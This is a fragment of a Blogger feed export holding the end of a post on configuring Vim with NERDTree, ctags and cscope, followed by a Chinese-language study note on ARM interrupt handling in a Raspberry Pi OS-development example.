&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;mv plugin/NERD_tree.vim ~/.vim/plugin&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;ol style=&quot;border: 0px; color: #333333; font-size: 16px; letter-spacing: 0.20000000298023224px; line-height: 24px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 24px 4em; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;vim ~/.vimrc&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #ececec; color: #383838; font-size: 13px; line-height: 30.600000381469727px; text-align: justify; text-indent: 36px;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;add this line: nnoremap &lt;silent&gt; &lt;f5&gt; :NERDTree&lt;cr&gt;&lt;/cr&gt;&lt;/f5&gt;&lt;/silent&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: justify; text-indent: 36px;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;color: #383838; font-size: x-small;&quot;&gt;&lt;span style=&quot;letter-spacing: 0.20000000298023224px; line-height: 30.600000381469727px;&quot;&gt;same&amp;nbsp;producer to install taglist,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;trinity,&amp;nbsp;&lt;span style=&quot;color: #383838; font-size: x-small; letter-spacing: 0.20000000298023224px; line-height: 30.600000381469727px;&quot;&gt;and SrcExpl.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
You may need a script to generate cscope and ctags index files.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;CSCOPE_FILE=cscope.out&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;if [ -n &quot;$1&quot; ]; then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp;echo &quot;Source code directory: &quot; $1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp;echo &quot;Create file map : &quot; $CSCOPE_FILE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp;find $1 -name &quot;*.c&quot; -o -name &quot;*.c&quot; -o -name &quot;*.h&quot; -o -name &quot;*.c&quot; -o -name &quot;*.S&quot; &amp;gt; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;$CSCOPE_FILE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp;cscope -bkq -i $CSCOPE_FILE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp;ctags -R --exclude=.svn&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;else&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp;echo &quot;Please key-in path of project&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify; text-indent: 36px;&quot;&gt;
&lt;span style=&quot;color: #383838; font-family: Monaco, Consolas, Andale Mono, DejaVu Sans Mono, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;letter-spacing: 0.20000000298023224px; line-height: 30.600000381469727px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
reference:&lt;br /&gt;
Tsung&#39;s Blog: http://blog.longwin.com.tw/2009/02/vim-tree-explorer-nerdtree-plugin-2009/</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/6955387953317849733/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/6955387953317849733' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/6955387953317849733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/6955387953317849733'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2015/02/vim-cscope-ctags-nerdtree-taglist.html' title='vim + cscope + ctags + nerdtree + taglist + SrcExpl+trinity, c ya source Insight.'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ5K6KN3VjLGWH6-JXRoixoJwepLrbo6fpRVGBWEDn8NkGP3E5I25_PHEAZlnsoxZQqxy6UUrmYMll5vxi87L2_Zve18qNIxDGI8quAYLKwFcp2J6BY0J68L9jmR_X0QqDE7GrGZ4w3zc/s72-c/1456539_10203436507698148_2668549525339076503_n.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-4104604328228885884</id><published>2015-02-15T14:06:00.001+08:00</published><updated>2016-12-27T09:19:29.224+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>自己動手做OS之Raspberry Pi interrupt example 筆記</title><content type='html'>&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid271&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Happy Chinese New Year!!&amp;nbsp; 希望我年假，有更多時間好好學習作業系統...T_T&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid272&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
這是個學習筆記，還未整理好，看起來很亂，但是我會盡量把該注意的重點寫下。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid325&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Interrupt example Raspberry Pi source code:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid5&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;https://github.com/tzuCarlos/RaspberryPi/tree/master/labInterrupt&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;https://github.com/tzuCarlos/RaspberryPi/tree/master/labInterrupt&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid6&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid197&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;這範例中，我們使用timer 產生IRQ，執行時，可以看到，每隔一小段時間，就會印出IRQ_handler，在IRQ_handler()中，先關掉了IRQ再印出IRQ_handler，接著啟動IRQ，這是一個簡單的範例，但不是有效率的處理IRQ方式，以後我們來討論巢式中斷。&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
當IRQ發生時，硬體會自動跳到0x18的位址上去執行程式，但我們系統是掛在0x10000上，跳到0x18時並沒有東西，這時有幾個解決方式，1是利用mmu把0x18 mapping 至 0x10018上，或是設定CP15，跳轉到正確的中斷處理向量表上。&lt;br /&gt;
&lt;br /&gt;
ARM的官方網站有很好說明，值得一看。&lt;br /&gt;
http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0203j/Cacbhjjj.html&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid8&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid9&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
以下是節錄&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;陳鐘誠老師的網站(&lt;/span&gt;&lt;a class=&quot;attrlink&quot; href=&quot;http://sp1.wikidot.com/arm&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; cursor: pointer; margin: 0px; padding: 0px; transition: color 0.2s ease-in;&quot;&gt;http://sp1.wikidot.com/arm&lt;/a&gt;)&lt;br /&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid10&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ARM 的可存取暫存器為 R0-R15，其中 R13為堆疊指標 SP (Stack Pointer)，R14 為連結暫存器 LR (Link Register)，R15 為程式計數器 PC (Program Counter)。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid11&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ARM的狀態暫存器有 CPSR (Current Processor Status Register) 與 SPSR (Saved Processor Status Register)。其中 SPSR 乃是在中斷時用來自動儲存CPSR的暫存器。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid12&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;在 ARM 處理器當中，共有七種模式，包含 1. 使用者模式 (User Mode) 2. 系統模式 (System Mode)、3. 快速中斷模式 (Fast Interrupt Request:FIQ)、4. 特權呼叫模式(Superviser Call:SVC)、5. 中止模式(Abort:ABT)、6. 中斷請求模式 (Interrupt Request:IRQ)、7. 未定義模式(Undefine:Undef) 等。 除了使用者模式外，其它六種模式稱特權模式，而除了使用者模式跟系統模試，其它五種稱為異常模式。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid13&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid14&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; src=&quot;http://www.botskool.com/images/elec/arm7t2p1.jpg&quot; faketext=&quot;*&quot; style=&quot;cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid15&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;source:&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.botskool.com/images/elec/arm7t2p1.jpg&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.botskool.com/images/elec/arm7t2p1.jpg&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid16&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;不同的模式會有獨立的堆疊暫存器 SP (R13) 與連結暫存器 LR (R14)-返回地址，這使得 ARM 的模式切換更快，因為不需要以額外的指令儲存這些暫存器。圖二顯示了 ARM 當中的所有暫存器，在每個模式當中，R0-R15 及 CPSR 都是可以存取的，但在後五種模式中，會使用獨立的 R13, R14、以及 SPSR，取代使用者模式的暫存器[1]。&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;--------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;R15(PC)當前程式執行的位置&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid17&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;FIQ比IRQ模式多了R8_fiq~R12fiq私有暫存器，可以提高中斷速度。 (原因:.....待補)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid18&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid19&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;中斷發生時要做的事:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid20&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-bullet emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid21&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-bullet listindent1 list-bullet1&quot; style=&quot;list-style-image: initial; list-style-position: initial; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;保存CPSR到SPSR&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid22&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;•要保存暫存器狀態（ SP和LR （除FIQ模式） ）&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid23&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;•CPU模式切換應於該異常模式&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid24&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;•設置中註冊的量表來PC的地址&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid25&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid26&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
